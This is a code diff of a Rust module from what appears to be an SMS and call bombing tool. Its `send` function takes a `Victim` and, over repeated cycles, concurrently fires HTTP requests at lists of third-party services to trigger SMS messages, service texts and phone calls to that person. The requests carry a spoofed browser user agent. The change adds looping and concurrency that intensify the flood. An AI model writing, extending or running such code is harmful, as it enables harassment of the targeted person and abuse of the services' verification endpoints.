11use crate :: services:: {
2- construct_call_services_list, construct_services_list, BodyType , Service , ServiceType , Victim ,
2+ construct_call_services_list, construct_services_list, BodyType , Service , Victim ,
33} ;
4+ use futures:: future:: join_all;
45use reqwest:: { Client , Method } ;
56use std:: time:: Duration ;
67
7- const CALL_DELAY : u8 = 15 ;
8+ const SERVICES_DELAY : u64 = 15 ;
9+ const CALL_SERVICES_DELAY : u64 = 30 ;
810
9- /// Вы бы знали как мне стыдно за такой колхозинг, но надеюсь это на время
10- pub async fn send ( victim : Victim ) -> Result < ( ) , Box < dyn std:: error:: Error > > {
11- let mut s = Vec :: new ( ) ;
11+ pub async fn send ( victim : Victim , cycles : u64 ) {
12+ let mut workers = Vec :: new ( ) ;
1213
13- let services = construct_services_list ( victim. clone ( ) ) ;
14- for service in services {
15- let t = tokio:: spawn ( async move {
16- send_single ( service) . await . expect ( "" ) ;
17- } ) ;
18- s. push ( t) ;
19- }
20-
21- let services = construct_call_services_list ( victim) ;
22- let t = tokio:: spawn ( async move {
23- for service in services {
24- for i in 0 ..CALL_DELAY {
25- println ! ( "Waiting {} seconds before calling" , CALL_DELAY - i) ;
14+ let victim_clone = victim. clone ( ) ;
15+ workers. push ( tokio:: spawn ( async move {
16+ for i in 0 ..cycles {
17+ let services = construct_services_list ( victim_clone. clone ( ) ) . await ;
18+ let services_futures: Vec < _ > = services
19+ . into_iter ( )
20+ . map ( |item| tokio:: spawn ( send_single ( item) ) )
21+ . collect ( ) ;
2622
27- tokio:: time:: sleep ( Duration :: from_secs ( 1 ) ) . await ;
23+ join_all ( services_futures) . await ;
24+ if i < cycles - 1 {
25+ tokio:: time:: sleep ( Duration :: from_secs ( SERVICES_DELAY ) ) . await ;
2826 }
29- println ! ( ) ;
30-
31- send_single ( service. clone ( ) ) . await . expect ( "" ) ;
3227 }
33- } ) ;
34- s. push ( t) ;
28+ } ) ) ;
3529
36- for i in s {
37- i. await ?;
38- }
30+ workers. push ( tokio:: spawn ( async move {
31+ for i in 0 ..cycles {
32+ let call_services = construct_call_services_list ( victim. clone ( ) ) . await ;
33+ let call_services_futures: Vec < _ > = call_services
34+ . into_iter ( )
35+ . map ( |item| async move {
36+ send_single ( item) . await ;
37+ tokio:: time:: sleep ( Duration :: from_secs ( CALL_SERVICES_DELAY ) ) . await ;
38+ } )
39+ . collect ( ) ;
3940
40- Ok ( ( ) )
41+ for call_services_handle in call_services_futures {
42+ call_services_handle. await ;
43+ }
44+ if i < cycles - 1 {
45+ tokio:: time:: sleep ( Duration :: from_secs ( CALL_SERVICES_DELAY ) ) . await ;
46+ }
47+ }
48+ } ) ) ;
49+
50+ join_all ( workers) . await ;
4151}
4252
43- async fn send_single ( service : Service ) -> Result < ( ) , Box < dyn std :: error :: Error > > {
53+ async fn send_single ( service : Service ) {
4454 let client = Client :: builder ( )
4555 . user_agent ( "Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" )
46- . cookie_store ( true )
4756 . default_headers ( service. headers )
4857 . build ( )
4958 . expect ( "" ) ;
5059
51- match service. service_type {
52- ServiceType :: Sms => println ! ( "Sending SMS {}" , service. name) ,
53- ServiceType :: Call => println ! ( "Calling {}" , service. name) ,
54- ServiceType :: ServiceMessage => println ! ( "Sending service SMS {}" , service. name) ,
55- }
56-
5760 let mut res;
5861 match service. method {
5962 Method :: GET => res = client. get ( service. url ) ,
@@ -65,9 +68,12 @@ async fn send_single(service: Service) -> Result<(), Box<dyn std::error::Error>>
6568 BodyType :: Form => res = res. form ( & service. body ) ,
6669 }
6770
68- let res = res. send ( ) . await ?;
69- println ! ( "{}: {}" , res. status( ) , res. text( ) . await ?) ;
70- println ! ( "{} sent\n " , service. name) ;
71-
72- Ok ( ( ) )
71+ println ! ( "Starting {}" , service. name) ;
72+ let res = res. send ( ) . await . expect ( "" ) ;
73+ println ! (
74+ "{} {}\n {}\n " ,
75+ service. name,
76+ res. status( ) ,
77+ res. text( ) . await . unwrap( )
78+ ) ;
7379}
0 commit comments